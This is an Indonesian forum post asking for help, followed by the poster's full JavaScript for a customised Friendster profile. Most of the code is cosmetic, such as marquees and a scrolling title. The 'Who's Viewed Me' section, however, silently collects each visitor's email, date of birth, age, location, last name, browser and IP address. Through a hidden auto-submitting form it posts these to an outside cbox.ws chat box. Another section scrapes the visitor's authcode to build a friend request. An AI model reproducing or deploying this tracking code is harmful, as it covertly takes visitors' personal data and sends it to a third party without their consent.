waduh..stress saya,,
ada gk yg bisa nolongin...
neh semua kode js saya
<">var mycss = document.createElement("link");
mycss.type = "text/css";
mycss.rel = "stylesheet";
mycss.href = "http://h1.ripway.com/julyan/fsaqygputih.css";
mycss.media = "screen, print";
document.getElementsByTagName("head")[0].appendChild(mycss);
//Moving Shoutout Box
if ( ! attachOnLoadHandler(function () { movingCpSB();}))
window.onload = function () { movingCpSB();};
function movingCpSB() {
var marqueeCSbox = document.getElementById("cpShoutoutBox").innerHTML;
document.getElementById("cpShoutoutBox").innerHTML ="<marquee direction='left' height='100%' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+
marqueeCSbox+"</marquee>";
}
//Moving Friends Box
if ( ! attachOnLoadHandler(function () { movingFrnd();}))
window.onload = function () { movingFrnd();};
function movingFrnd() {
var marqueeFriends = document.getElementById("content_friends_2_2").innerHTML;
document.getElementById("content_friends_2_2").innerHTML ="<marquee direction='up' height='300' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+
marqueeFriends+"</marquee>";
}
if (!attachOnLoadHandler(function(){embed()})) window.onload = function(){embed()};
function embed(){
var slodde = "<embed src=\"http://widget-e7.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=504403158292272309&site=widget-e7.slide.com\" style=\"width:100%;height:125px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/photos/45778280\" target=\"_blank\"><b>View All Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=45778280\" target=\"_blank\">Upload Photo Fo Me</b></a></div>";
document.getElementById('content_1').style.height='100%';
document.getElementById('content_1').style.overflowY='hidden';
document.getElementById('content_1').innerHTML = "<table width='100%'><tr><td align='center'>"+slodde+"</td></tr></table>";
}setTimeout("embed()",10000);
if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();};
if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; }
FRIENDSCAN = {
init: function() {
var emailAdd = "emo@silent.room";
var areWeFriend = "yes";
var authCode = "";
var scanner = document.getElementById("controlPanelButtons").innerHTML;
var AFRconfirm = scanner.search(/Add as Friend/);
if (AFRconfirm > 0) {
areWeFriend = "no";
//control panel edit
function eykalbelasahferuzzhehe() {
var malaysia = document.getElementById("controlPanelButtons");
var visitmalaysia = "<div class=\"clearfix\">"+
"<li><a href=\"/sendmessage.php?uid=45778280\">kirim pesan</a></li>"+
"<li><a href=\"/sendmessage.php?uid=45778280&action=sendsmile\">kirim smile</a></li>"+
"<li><a href=\"/addfriendrequest.php?uid=45778280\">.::Add julyan 2 be u'r fren::.</a></li>"+
"<li><a href=\"/referafriend.php?refer=45778280\">Forward to prend</a></li>"+
"<li><a href=\"/group/inviteone.php?uid=45778280\">Invite to Group</a></li>"+
"<li><a href=\"/comments.php?uid=45778280\">.::Add komennya kmu::.</a></li>"+
"<li><a href=\"/bookmarks.php?action=add&uid=45778280\">Add Bookmark</a></li>"+
"</div>";
malaysia.innerHTML = visitmalaysia;
}
window.onload = function() {eykalbelasahferuzzhehe();}
authCode = /href="[\S\s]*?authcode=([\S\s]+?)">Add as Friend/.exec(scanner)[1];
}
if(areWeFriend == "no") {
var cForm = confirm("keqna kmu lum termasuk dlm friendlist gw neh !. so,,,.\n Do you want to add me as your friend?");
if (cForm == true) {
document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+encodeURI(emailAdd)+"&lastname=";
}
}
}
};
//Babyzchen: scrOLLing titLe bAr
putmsg=")-[.::fs julyan::.]-(";
letchar2="...lam knal slalu...";
letchar1="thx y da mo visit my fs...";ultimo1=letchar1.length-4;
ultimo2=letchar2.length-4;
ultimo2=letchar2.length-4;
tiempo=setTimeout("tit_scroll()",.1);
function tit_scroll()
{
aux1=letchar1.charAt(ultimo1-1);
letchar1=aux1+letchar1.substring(0,ultimo1-1);
aux2=letchar2.charAt(0);
letchar2=letchar2.substring(1,ultimo2+1)+aux2;
document.title="(" + letchar2 + putmsg + letchar1 + ")";
tiempo=setTimeout("tit_scroll()",.1);
return true;
}
//viuer foto
if (!attachOnLoadHandler(function(){viewer();})) window.onload = function(){viewer();};
function viewer() {
if(pageViewerID!="") VIEWERPIC.init();
}
if (typeof VIEWERPIC == "undefined") { VIEWERPIC = {}; }
VIEWERPIC = {
photo: [],
init: function() {
if(document.getElementById("viewerpic") != null) {
this.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,VIEWERPIC.viewer,null);
}
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("VMP Error: Unable to parse the photo!");return;
}else if (htm) {
try {
var targetPhoto = htm.match(/<profile_photo>[\S\s]+?<\/profile_photo>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetName = htm.match(/<firstname>[\S\s]+?<\/firstname>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetEmail = htm.match(/<email>[\S\s]+?<\/email>/gim)[0].replace(/<[\S\s]+?>/gim, "");
this.photo = document.createElement("DIV");
this.photo.align = "center";
this.photo.appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[0].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[0].target = "_blank";
this.photo.getElementsByTagName("a")[0].title = pageViewerFName;
this.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
this.photo.getElementsByTagName("img")[0].src = targetPhoto;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[0].className = "q";
this.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[1].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[1].target = "_blank";
this.photo.getElementsByTagName("a")[1].title = pageViewerFName;
this.photo.getElementsByTagName("a")[1].innerHTML = targetName;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[1].className = "q";
this.photo.getElementsByTagName("span")[1].innerHTML = targetEmail;
document.getElementById("viewerpic").appendChild(this.photo);
}catch(e) {}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
//wvm cbox
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
var geoIP = document.createElement("script");
geoIP.type = "text/javascript";
geoIP.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress";
document.getElementsByTagName("head")[0].appendChild(geoIP);
if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; }
WVMCBOX = {
div: null, date: Date(), $ifsty: null,
base: {
"cboxdiv": ["www5","51954","bsplbp"]
},
iframestyle: {
width: "100%",
height: "250",
scrolling: "auto",
allowtransparency: "yes"
},
details: {
email: null,
lastname: null,
age: null,
gender: null,
month: null,
year: null,
birth: null,
location: null
},
regexp: {
email: /email>([\S\s]+?)<\/email>/i,
lastname: /lastname>([\S\s]+?)<\/lastname>/i,
age: /age>([\d]+?)<\/age>/i,
gender: /photocaption><gender>([m]|[f])<\/gender>/i,
month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i,
year: /membersinceYear>([\d]+?)<\/membersinceYear>/i,
birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i,
location: /blog_id><location>([\S\s]+?)<\/location>/i
},
init: function() {
WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null);
setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src",15000);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return;
}else if (htm) {
for (val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
if (WVMCBOX.details.gender == "m") {
WVMCBOX.details.gender = "Male";
}else if (WVMCBOX.details.gender == "f") {
WVMCBOX.details.gender = "Female";
}
for (var s in WVMCBOX.iframestyle) {
WVMCBOX.$ifsty += s+"="+WVMCBOX.iframestyle[s]+" ";
}
for (var seeboks in WVMCBOX.base) {
WVMCBOX.div = "<iframe frameborder=\"0\" marginheight=\"2\" marginwidth=\"2\" "+WVMCBOX.$ifsty+"src=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<div style=\"display:none\">"+
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+
"<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.date+
"[br]• Email: "+WVMCBOX.details.email+" [br]• IP Address: "+sGeobytesIpAddress+
"[br]• "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+
"[br]• Member Since: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+
"[br]• D.O.B: "+WVMCBOX.details.birth+
"[br]• Location: "+WVMCBOX.details.location+
"[br]• Friendster ID: "+pageViewerID+
"[br]• Lastname: "+WVMCBOX.details.lastname+
"[br]• Browser: "+navigator.appName+
"[br]• "+navigator.userAgent+"</textarea>"+
"</form>"+
"</div>";
addNewBox.init("Who's Viewed Me","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",/friends/i,null);
}
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
if (document.wvmcboxform) {
document.wvmcboxform.submit();
}else {
document.getElementById("wvmcboxform").submit();
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
if (typeof addNewBox == "undefined") { addNewBox = {}; }
addNewBox = {
init: function(head,code,id,sibling,x) {
var sbdiv = document.createElement("div");
sbdiv.className="commonbox "+id;
sbdiv.id = id;
if (!head) head = "";
else head = "<h2>"+head+"</h2>";
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_"+id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("LI");
sbli.appendChild(sbdiv);
if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
else if (x == "above") {
var ul = this.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode);
}
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};
//buttonize
if (!attachOnLoadHandler(function(){mnavButton()})) window.onload = function(){mnavButton()};
function mnavButton() {
var buttonize = document.getElementById("mainnav");
var navbtn = "<div class=primary_links>" +
"<input type='button' value='Home' onClick=\"top.location.href='/index.php'\">" +
"<input type='button' value='Profile' onClick=\"top.location.href='/user.php'\">" +
"<input type='button' value='Friends' onClick=\"top.location.href='/friends.php'\">" +
"</div>" +
"<div class=secondary_links>" +
"<input type='button' value='Explore' onClick=\"top.location.href='/explore.php'\">" +
"<input type='button' value='Search' onClick=\"top.location.href='/gallery.php'\">" +
"<input type='button' value='Video' onClick=\"top.location.href='/video.php'\">" +
"<input type='button' value='Schools' onClick=\"top.location.href='/editcollege.php'\">" +
"<input type='button' value='Classifieds' onClick=\"top.location.href='http://olx.friendster.com/gateway_cobranded.php'\">" +
"<input type='button' value='Jobs' onClick=\"top.location.href='http://olx.friendster.com/gateway_cobranded.php?target=jobs'\">" +
"<input type='button' value='Blogs' onClick=\"top.location.href='/blogs.php'\">" +
"<input type='button' value='Groups' onClick=\"top.location.href='/group/mygroup.php'\"> " +
"<input type='button' value='Invite' onClick=\"top.location.href='/invite.php'\">" +
"</div>";
buttonize.innerHTML = navbtn;
}
//scrollbar
document.body.style.scrollbarArrowColor=' #979EA3 '
document.body.style.scrollbarDarkShadowColor='#ffffff'
document.body.style.scrollbarFaceColor='#979EA3'
document.body.style.scrollbarHighlightColor='#ffffff'
document.body.style.scrollbarShadowColor='#ffffff'
document.body.style.scrollbar3dlightColor='#ffffff'
document.body.style.scrollbarBaseColor='#ffffff'
document.body.style.scrollbarTrackColor='#ffffff'